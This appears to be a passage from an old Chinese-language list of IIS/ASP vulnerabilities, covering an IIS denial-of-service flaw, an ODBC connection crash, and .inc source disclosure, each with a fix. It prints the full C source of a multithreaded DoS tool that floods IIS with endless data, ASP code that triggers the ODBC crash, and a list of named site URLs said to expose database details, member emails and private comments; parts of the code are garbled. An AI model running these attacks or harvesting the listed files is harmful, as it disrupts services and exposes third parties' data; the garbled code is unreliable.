10、IIS web server DOS
漏洞描述:
默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果"MaxClientRequestBuffer"设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS server实行DOS攻击:
#include
#include
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0))
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(; {
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案
运行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值:
value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制
具体数值设置为你想设定的IIS允许接受的URL最大长度。
CNNS的设置为256
11、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏洞描述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%
...lots of html removed...
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%
在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。
12、ASP主页.inc文件泄露问题
漏洞描述:
受影响的版本:任何提供ASP服务的系统
远程:YES / 本地:YES
内容摘要:
当存在asp的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ," 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码,其中可能会有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑
解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。
13、利用Activer server explor